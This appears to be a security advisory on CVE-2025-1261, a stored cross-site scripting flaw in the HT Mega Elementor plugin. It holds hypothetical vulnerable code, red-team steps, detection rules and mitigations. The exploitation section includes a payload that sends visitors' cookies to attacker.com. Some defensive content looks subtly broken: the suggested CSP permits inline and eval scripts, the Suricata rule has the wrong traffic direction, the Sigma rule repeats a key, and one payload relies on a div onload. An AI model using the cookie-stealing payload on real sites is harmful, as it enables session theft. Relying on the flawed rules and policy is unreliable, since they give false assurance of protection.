CVE-2025-1261

Executive Summary

CVE-2025-1261 is a DOM-Based Stored Cross-Site Scripting (XSS) vulnerability discovered in the HT Mega – Absolute Addons For Elementor WordPress plugin, affecting all versions up to and including 2.8.2. This vulnerability arises from insufficient input sanitization and output escaping on user-supplied attributes within the plugin's Countdown widget. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts into pages. These scripts execute in the context of any user who subsequently visits the compromised page, leading to potential session hijacking, credential theft, or defacement. This vulnerability is a direct result of an incomplete fix for the previously disclosed CVE-2024-3307.

Supply Chain & Package Security

This vulnerability resides within the WordPress plugin ecosystem, specifically the HT Mega plugin. As a third-party component distributed via the official WordPress plugin repository, it introduces a supply chain risk. Site administrators must ensure they are using the latest patched version once released, as unpatched installations are susceptible to exploitation. The plugin's widespread use for Elementor page building amplifies the potential blast radius.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network - The attack is executed over the network.
• Attack Complexity (AC): Low - No special conditions are required for exploitation.
• Privileges Required (PR): Low - The attacker needs contributor-level access to the WordPress site.
• User Interaction (UI): Required - The victim must visit the compromised page.
• Scope (S): Changed - The vulnerability impacts resources beyond the vulnerable component (e.g., the victim's browser).
• Confidentiality (C): Low - Limited information disclosure (e.g., session tokens).
• Integrity (I): Low - Limited ability to modify content (e.g., inject scripts).
• Availability (A): Low - Limited impact on availability (e.g., page defacement).

Threat Level: Medium. While the CVSS score is moderate, the potential for widespread exploitation is significant due to the popularity of the HT Mega plugin and the low barrier to entry (contributor-level access). The DOM-based nature of the vulnerability makes it harder to detect via traditional server-side security controls.

Deep Dive & Mechanics

The vulnerability resides in the Countdown widget of the HT Mega plugin. The widget accepts user-defined attributes (e.g., custom CSS classes, data attributes) to customize its appearance and behavior. Due to insufficient input sanitization and output escaping, an attacker can inject malicious JavaScript code into these attributes.

The attack flow is as follows:

1. Authentication: The attacker must have at least contributor-level access to the WordPress site.
2. Payload Injection: The attacker creates or edits a page/post using the Elementor editor. They add the HT Mega Countdown widget and inject a malicious payload into a vulnerable attribute field (e.g., custom_css or a data attribute). The payload is stored in the WordPress database.
3. DOM Execution: When a victim (including administrators or visitors) loads the page, the server renders the widget's HTML. The injected payload is placed into the DOM. Client-side JavaScript (likely part of the widget's script) then processes this attribute, executing the malicious script in the victim's browser context.
4. Impact: The injected script can perform actions such as stealing session cookies, redirecting to phishing sites, or performing actions on behalf of the victim.

The vulnerability is a DOM-Based Stored XSS because the payload is stored on the server but only executes when client-side JavaScript processes it, making it invisible to server-side filters that only inspect HTML output.

Vulnerable vs. Patched Code

Since the patch is not yet available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (Hypothetical - in countdown-widget.php or similar):

// Vulnerable: Directly outputs user-supplied attribute without escaping
$custom_css = $settings['custom_css'];
echo '<div class="ht-countdown-widget" data-custom-css="' . $custom_css . '">';

Patched Code (Hypothetical):

// Patched: Escapes the attribute value before output
$custom_css = $settings['custom_css'];
echo '<div class="ht-countdown-widget" data-custom-css="' . esc_attr($custom_css) . '">';

The key difference is the use of esc_attr() which encodes special characters like <, >, ", and ' into their HTML entities, preventing them from being interpreted as code.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress instance with the HT Mega plugin (version <= 2.8.2) installed and activated.
• A user account with contributor-level privileges.

Steps:

1. Login as a contributor.
2. Create a new page using Elementor.
3. Add the HT Mega Countdown widget to the page.
4. Locate a vulnerable attribute (e.g., "Custom CSS" or a data attribute field). This may require inspecting the widget's settings in the Elementor editor.
5. Inject the payload. For example, in the "Custom CSS" field, enter:

   " onfocus="alert('XSS')" autofocus="
   

   Or a more sophisticated payload to steal cookies:

   " onload="document.location='https://attacker.com/steal?cookie='+document.cookie" autofocus="
   

6. Save and publish the page.
7. Send the page link to the victim.

Expected Result: When the victim visits the page, the injected script executes.

Blue Team (Detection & Prevention)

Detection:

• Web Application Firewall (WAF): Monitor for requests containing suspicious patterns in POST data to wp-admin/admin-ajax.php or Elementor's AJAX handlers. Look for strings like onload=, onfocus=, <script, or base64-encoded payloads.
• Log Analysis: Review WordPress access logs for unusual POST requests to Elementor endpoints from contributor accounts.
• File Integrity Monitoring: Monitor the wp-content/uploads/elementor/ directory for unexpected CSS/JS files that may contain injected code.

Prevention:

• Immediate: Disable the HT Mega plugin until a patched version is released.
• Short-term: Implement a Content Security Policy (CSP) that restricts script execution to trusted sources.
• Long-term: Apply the official patch as soon as it becomes available.

Indicators of Compromise (IOCs)

• File Hashes (Suspicious Plugin Files):
  • ht-mega-addons/elementor/widgets/countdown.php (or similar) - Check for modifications.
• Network Indicators:
  • Outbound HTTP requests to unknown domains from the WordPress server (e.g., attacker.com/steal).
• Log Entries:
  • Unusual POST requests to /wp-admin/admin-ajax.php with action=elementor_ajax or similar.
  • Multiple edits to the same page by a contributor account.
• DOM Indicators:
  • Presence of event handlers like onfocus, onload, onerror in the page source that were not intended by the site owner.

Detection Engineering

YARA Rule

rule Detect_HT_Mega_XSS_Payload {
    meta:
        description = "Detects potential XSS payloads targeting HT Mega Countdown widget"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1261"
    strings:
        $payload1 = /on\w+\s*=\s*["']?[^"']*alert/i
        $payload2 = /on\w+\s*=\s*["']?[^"']*document\.cookie/i
        $payload3 = /on\w+\s*=\s*["']?[^"']*fetch/i
        $payload4 = /on\w+\s*=\s*["']?[^"']*eval/i
        $widget_ref = /ht-countdown-widget/i
    condition:
        any of ($payload*) and $widget_ref
}

Sigma Rule

title: Potential XSS via HT Mega Countdown Widget
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to Elementor endpoints containing potential XSS payloads
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-1261
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=elementor_ajax'
        cs-uri-query|contains: 'actions=save_builder'
    keywords:
        - 'onfocus='
        - 'onload='
        - 'onerror='
        - '<script'
        - 'alert('
        - 'document.cookie'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in custom CSS fields
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-1261 HT Mega Countdown XSS Payload Outbound"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; pcre:"/(on\w+\s*=\s*[\x22\x27]?[^\x22\x27]*alert|document\.cookie|fetch|eval)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the HT Mega plugin until a patched version is released.
2. Review all pages/posts created or edited by contributor-level users for suspicious content, especially those using the Countdown widget.
3. Change all WordPress admin passwords and force logout of all active sessions.

Short-term Mitigations:

1. Implement a Content Security Policy (CSP) that restricts script execution to trusted sources. Example:

   Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline';
   

   Note: unsafe-inline is required for Elementor but should be removed if possible.
2. Use a Web Application Firewall (WAF) with rules to block common XSS payloads.
3. Restrict contributor-level access to only trusted users.

Long-term Fix:

• Apply the official patch from the plugin vendor once it becomes available. Monitor the WordPress plugin repository for updates.

Valters IT
Securing Digital Frontiers